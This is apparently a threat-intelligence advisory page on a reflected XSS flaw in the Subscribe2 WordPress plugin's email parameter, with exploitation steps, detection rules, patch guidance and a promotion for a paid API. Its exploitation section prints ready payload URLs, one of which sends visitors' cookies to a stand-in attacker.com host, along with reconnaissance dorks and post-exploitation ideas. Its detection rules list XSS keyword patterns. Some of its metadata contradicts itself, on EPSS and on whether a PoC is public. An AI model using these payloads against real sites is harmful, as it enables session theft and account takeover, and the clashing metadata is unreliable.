☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
WPScan logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-14331

CVE-2026-14331 — Subscribe2 < 10.46 - Reflected XSS via email Parameter
📅 PUBLISHED: 2026-08-07 00:00 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: USA License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-14331 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Subscribe2 WordPress plugin, affecting all versions prior to 10.46. The flaw exists in the public subscription form where the email parameter is reflected without proper output encoding, allowing an unauthenticated attacker to inject malicious JavaScript that executes in the context of any visitor who clicks a crafted link. With a CVSS score of 6.1 (Medium), this vulnerability requires user interaction but requires no authentication, making it a viable vector for phishing campaigns, credential harvesting, and session hijacking against WordPress sites running the vulnerable plugin. The patch is available in Subscribe2 version 10.46.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The Subscribe2 plugin for WordPress provides email subscription functionality typically embedded in public-facing pages and widgets. The vulnerability resides in the plugin's handling of the email query parameter during form rendering. When a user submits the subscription form without valid data, or when the form is reloaded with an email parameter present in the URL, the plugin reflects the submitted value directly into the HTML response without performing output sanitization or encoding.

The faulty code path is triggered when the plugin processes the subscription form submission. Specifically, the plugin retrieves the value of $_GET['email'] or $_POST['email'] and renders it into the form's email input field using a pattern similar to:

<input type="text" name="email" value="<?php echo $_GET['email']; ?>" />

No esc_attr(), htmlspecialchars(), or wp_kses() filtering is applied before the value is embedded in the HTML attribute context. This allows an attacker to break out of the value attribute by injecting characters such as " followed by event handler attributes or closing the input tag entirely and injecting arbitrary HTML/JavaScript.

The attack surface is the public subscription form endpoint, which is accessible to unauthenticated visitors. Since the parameter is reflected via a GET request, the attacker can craft a malicious URL and distribute it via email, social media, or other phishing channels. The lack of CSRF protection on the reflection point is irrelevant here because the reflection itself is the vulnerability—the victim only needs to click the link and load the page.

WordPress core themes typically escape output using esc_html(), esc_attr(), or esc_url(), but third-party plugins are responsible for their own output escaping. Subscribe2 versions below 10.46 failed to implement this, leaving the reflected value raw in the response. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), confirming the XSS nature of the flaw.

Exploitation Scenarios

Step 1 — Reconnaissance/Target Identification: The attacker identifies WordPress sites running Subscribe2. This can be done by inspecting page source for Subscribe2-specific markers such as class="subscribe2", form IDs containing subscribe2, or checking for /wp-content/plugins/subscribe2/ in the source. The attacker can also use search engines with dorks like inurl:"wp-content/plugins/subscribe2" or fingerprint via Shodan (see Shodan dorks in METADATA). Confirming the exact version requires checking the plugin's readme.txt file, which is publicly accessible at /wp-content/plugins/subscribe2/readme.txt.

Step 2 — Weaponization/Crafting the Payload: The attacker crafts a malicious URL targeting the subscription form endpoint. The vulnerable parameter is email. A simple payload that breaks out of the input attribute looks like:

https://victim-site.com/?subscribe2=subform&email="><script>document.location='https://attacker.com/steal?c='+document.cookie</script>

A more stealthy variant uses event handlers to avoid visible script tags in some filtering scenarios:

https://victim-site.com/?subscribe2=subform&email=" onfocus="alert(1)" autofocus="

For credential harvesting, the payload can inject a fake login overlay or redirect the user to a phishing page that mimics the WordPress admin login. The URL should be URL-encoded to ensure proper transmission. For example, the quote characters become %22 and angle brackets become %3C and %3E.

Step 3 — Delivery/Execution: The attacker distributes the crafted link through phishing emails (disguised as legitimate subscription confirmations or account notifications), social media posts, or by injecting the link into compromised third-party sites. When the victim clicks the link, the browser loads the vulnerable page. The PHP code reflects the email parameter unescaped into the HTML source. The victim's browser parses the injected payload and executes the JavaScript in the origin context of the victim's WordPress site.

Step 4 — Post-Exploitation: The malicious JavaScript executes with full access to the page's DOM under the victim's session. Possible actions include:

  • Reading session cookies and sending them to the attacker's server (document.cookie exfiltration).
  • Intercepting form submissions, including any credentials or data the victim types into the page.
  • Injecting a keylogger that records keystrokes.
  • Modifying the page to display a fake subscription confirmation with embedded malware download links.
  • Redirecting the victim to a malicious phishing page that mimics the WordPress login to harvest admin credentials.
  • Performing actions on behalf of the victim via XHR requests if the victim is an authenticated administrator (e.g., creating a new admin user by forging requests to user-new.php).

Because the execution context is the victim's browser and session, any stored cookies (unless flagged HttpOnly) are accessible. Even with HttpOnly flags, the attacker can still perform actions on behalf of the authenticated user, making session hijacking a viable post-exploitation outcome.

Impact Assessment

CVSS Breakdown (Score: 6.1, Medium): The vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Network attack vector (AV:N) means the attacker can exploit this remotely without local access. Low attack complexity (AC:L) indicates no special conditions are required beyond the victim clicking a link. No privileges required (PR:N) confirms unauthenticated exploitation. User interaction (UI:R) is required—the victim must click the crafted link. Scope change (S:C) indicates the vulnerability can affect resources beyond the vulnerable component (i.e., the victim's session and potentially the WordPress application's data). Low confidentiality impact (C:L) and low integrity impact (I:L) reflect that while data can be read and modified, the attacker does not gain direct server-level access. No availability impact (A:N).

Business Impact: For a WordPress site running Subscribe2, this vulnerability represents a moderate-to-high risk depending on the site's exposure and user base. Unauthenticated XSS can be leveraged to target any visitor, not just administrators. This enables:

  • Credential Phishing: Visitors can be presented with fake login pages; harvested credentials can lead to account takeover or admin compromise.
  • Malware Distribution: Injected content can redirect users to malicious downloads, turning the site into a watering hole.
  • Brand/Trust Damage: Defaced or compromised pages erode visitor trust and can trigger Google Safe Browsing warnings.
  • SEO Poisoning: Attackers can inject hidden content or redirects to manipulate search rankings or drive traffic to malicious sites.

Affected Systems: All WordPress installations running Subscribe2 versions below 10.46. The vulnerability is present whenever the subscription form is rendered, which is typically on public-facing pages, sidebar widgets, and post-content shortcodes. Websites in high-traffic niches (news blogs, marketing sites, e-commerce) are higher-value targets.

Blast Radius: The blast radius is limited to browsers of users who click the crafted link, but the ripple effect includes any administrative action performed by a compromised admin session. The confidentiality and integrity of the WordPress content database can be indirectly impacted if an admin is tricked into executing a forged action.

Detection Guidance

Sigma Rule

title: CVE-2026-14331 - Subscribe2 Reflected XSS via email Parameter
id: 6f9ab2d4-2c80-4d31-9a67-4d1f97d3a19c
status: experimental
description: Detects requests containing suspicious email parameter values targeting Subscribe2 WordPress plugin
author: Valtersit Threat Intelligence
date: 2026/01/15
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2026.14331
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains|all:
            - 'email='
        cs-uri-query|contains|any:
            - '<script>'
            - '<img'
            - 'onerror='
            - 'onload='
            - 'javascript:'
            - '%3Cscript'
            - '%3Cimg'
            - 'document.cookie'
            - 'fetch('
            - 'XMLHttpRequest'
        cs-uri-query|contains:
            - 'subscribe2'
    filter_known_good:
        cs-uri-query|contains:
            - 'email=name%40domain.com'
            - 'email=test%40test.com'
    condition: selection and not filter_known_good
level: high
falsepositives:
    - Legitimate subscriptions containing unusual email addresses (rare)
    - Security scanners probing the endpoint

YARA Rule

rule CVE_2026_14331_Subscribe2_Reflected_XSS {
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects malicious payloads targeting Subscribe2 email parameter"
        cve = "CVE-2026-14331"
        date = "2026-01-15"
        severity = "medium"
    strings:
        $s1 = "subscribe2" ascii wide nocase
        $s2 = "email=" ascii wide nocase
        $s3 = "<script>" ascii wide nocase
        $s4 = "onerror=" ascii wide nocase
        $s5 = "onload=" ascii wide nocase
        $s6 = "javascript:" ascii wide nocase
        $s7 = "document.cookie" ascii wide nocase
        $s8 = "%3Cscript" ascii wide nocase
        $s9 = "%3Cimg" ascii wide nocase
        $s10 = "fetch(" ascii wide nocase
        $s11 = "document.location" ascii wide nocase
        $s12 = "String.fromCharCode" ascii wide nocase
    condition:
        uint16(0) == 0x3C21 and           // "<!" HTML comment or preamble
        any of ($s1, $s2) and
        any of ($s3, $s4, $s5, $s6, $s7, $s8, $s9, $s10, $s11, $s12)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-14331 Subscribe2 Reflected XSS Attempt"; flow:established,to_server; content:"GET"; http_method; content:"subscribe2"; http_uri; nocase; content:"email="; http_uri; nocase; content:"<script>"; http_uri; nocase; pcre:"/(\x3Cscript[^\r\n]*>|onerror\s*=|onload\s*=|javascript\s*:|document\.cookie|fetch\s*\()/i"; sid:202614331; rev:1; metadata:created_at 2026_01_15, updated_at 2026_01_15, cve CVE-2026-14331;)

Elastic Detection

sequence by source.ip with maxspan=30s
  [ network where dns.question.name : "*.wordpress.com" or http.request.full_url : "*/wp-content/plugins/subscribe2/*" ]
  [ http where event.category == "web" and http.request.method == "GET"
    and url.path : "*subscribe2*"
    and url.query : "*email=*"
    and (
      url.query : "*<script>*" or
      url.query : "*onerror=*" or
      url.query : "*onload=*" or
      url.query : "*javascript:*" or
      url.query : "*document.cookie*" or
      url.query : "*%3Cscript*" or
      url.query : "*fetch(*"
    )
  ]

Splunk SPL Query

index=web sourcetype="access_combined_wcookie"
| where method="GET"
  AND uri_path LIKE "%subscribe2%"
  AND uri_query LIKE "%email=%"
  AND (
    uri_query LIKE "%<script>%" OR
    uri_query LIKE "%onerror=%" OR
    uri_query LIKE "%onload=%" OR
    uri_query LIKE "%javascript:%" OR
    uri_query LIKE "%document.cookie%" OR
    uri_query LIKE "%3Cscript%" OR
    uri_query LIKE "%3Cimg%" OR
    uri_query LIKE "%fetch(%" OR
    uri_query LIKE "%document.location%"
  )
| stats count by src_ip, uri_query, dest_host, _time
| sort -count
| table _time, src_ip, dest_host, uri_query, count

Wazuh OSSEC Rule

<group name="cve-2026-14331,">
  <rule id="401586" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">\.subscribe2\.</field>
    <regex>email=(?i).*(&lt;script|onerror|onload|javascript:|document\.cookie|%3Cscript|%3Cimg|fetch\(|document\.location)</regex>
    <description>CVE-2026-14331: Subscribe2 Reflected XSS exploitation attempt detected in URL</description>
    <group>web_application_attack,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
  <rule id="401587" level="10">
    <if_sid>202614331</if_sid>
    <regex>email=(?i)onerror=|email=(?i)onload=|email=(?i)javascript:</regex>
    <description>CVE-2026-14331: High-confidence XSS payload in Subscribe2 email parameter</description>
    <group>web_application_attack,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed)). The NVD entry indicates the fix is present in Subscribe2 version 10.46. This has not been independently verified by Valtersit at this time; validate the fix by upgrading and testing the email parameter reflection.

1. Immediate Mitigations (apply within 24–48 hours):

  • Temporary Parameter WAF Rule: If a Web Application Firewall (WAF) is in place, add a rule to block or sanitize requests to the Subscribe2 endpoint where the email parameter contains <, >, ", ', %3C, %3E, %22, or JavaScript-related keywords (script, onerror, onload, javascript:).
  • Disable or Hide Subscription Form: If immediate patching is impossible, deactivate the Subscribe2 plugin temporarily or remove the subscription widget/shortcode from public pages until the upgrade is applied.
  • Add Server-Side Input Validation (hotfix): If you have server access, add a PHP filter to the $_GET['email'] and $_POST['email'] values before they reach the plugin. Sanitize with sanitize_email() (which strips all characters except letters, digits, and @._-) in a custom mu-plugin located in wp-content/mu-plugins/.

2. Patch/Upgrade Steps:

  • Navigate to WordPress Admin → Plugins → Installed Plugins.
  • Locate Subscribe2 and check for a pending update notification to version 10.46 or higher.
  • Click "Update Now", or manually download the latest version from the WordPress Plugin Repository and replace the /wp-content/plugins/subscribe2/ directory.
  • Critical: Update through WordPress's built-in updater or by replacing the plugin files. After upgrading, confirm the version by checking the readme.txt or the plugin header.
  • Verification: After the update, craft a test request to https://your-site.com/?subscribe2=subform&email=%22%3E%3Cscript%3Ealert(1)%3C/script%3E and verify the script tag appears as literal text rather than being executed in the browser (reflected as &lt;script&gt; or stripped entirely). The email=yoursite@example.com value should also be properly escaped.

3. Long-Term Hardening:

  • Update Cadence: Enable automatic updates for WordPress plugins or establish a weekly manual review schedule for plugin updates. Subscribe2 releases security patches; stay current.
  • Output Escaping Audit: Review all custom theme templates and plugins for similar reflection points. Use WordPress coding standards: esc_html(), esc_attr(), and esc_url() for all output.
  • Content Security Policy (CSP): Deploy a strict CSP header (Content-Security-Policy: script-src 'self') to mitigate the impact of any future XSS by preventing inline script execution.
  • Web Application Firewall: Maintain an active WAF with virtual patching rules for known CVEs, especially WordPress plugin vulnerabilities.
  • Security Plugins: Deploy WordPress security plugins (e.g., Wordfence, Sucuri) that include virtual patching and real-time traffic analysis.
  • Regular Scanning: Include the Subscribe2 plugin in your vulnerability scanning and penetration testing schedule.

References

  1. NVD Entry — CVE-2026-14331: https://nvd.nist.gov/vuln/detail/CVE-2026-14331

    • Official NVD record with CVSS vector, CWE classification, and affected version range.
  2. WordPress Plugin Repository — Subscribe2: https://wordpress.org/plugins/subscribe2/

    • Official distribution channel for patched version 10.46 and changelog details.
  3. WordPress CVE Tracker (WPScan) — Subscribe2 Vulnerability: https://wpscan.com/plugin/subscribe2/

    • Third-party vulnerability database listing plugin-specific CVE history, including active scans and exploit attempts.
  4. MITRE ATT&CK — T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/

    • MITRE framework reference mapping the exploitation technique used in this CVE.
  5. OWASP — Cross Site Scripting Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

    • Reference for output encoding best practices to prevent recurrence of similar XSS flaws.

Threat Actor Context: As of this writing, no known advanced persistent threat (APT) campaigns have been publicly attributed to this specific CVE. However, WordPress plugin XSS vulnerabilities are routinely leveraged by mass-scanning botnets and opportunistic attackers within 24–72 hours of disclosure. The public availability of the payload vector and the ease of exploitation make in-the-wild exploitation likely. Monitor web server logs for unusual email parameter values, particularly those containing script tags or event handler attributes, and cross-reference with the Sigma/Suricata rules provided above. The CISA KEV catalog does not currently list this CVE, indicating no federally confirmed exploitation as of the report date.

EPSS Note: FIRST.org has not yet published an EPSS score for CVE-2026-14331. Based on historical patterns for WordPress plugin XSS with public proof-of-concept techniques (even without a public PoC for this specific CVE), the likelihood of exploitation is elevated in the first 90 days post-disclosure.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-14331/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.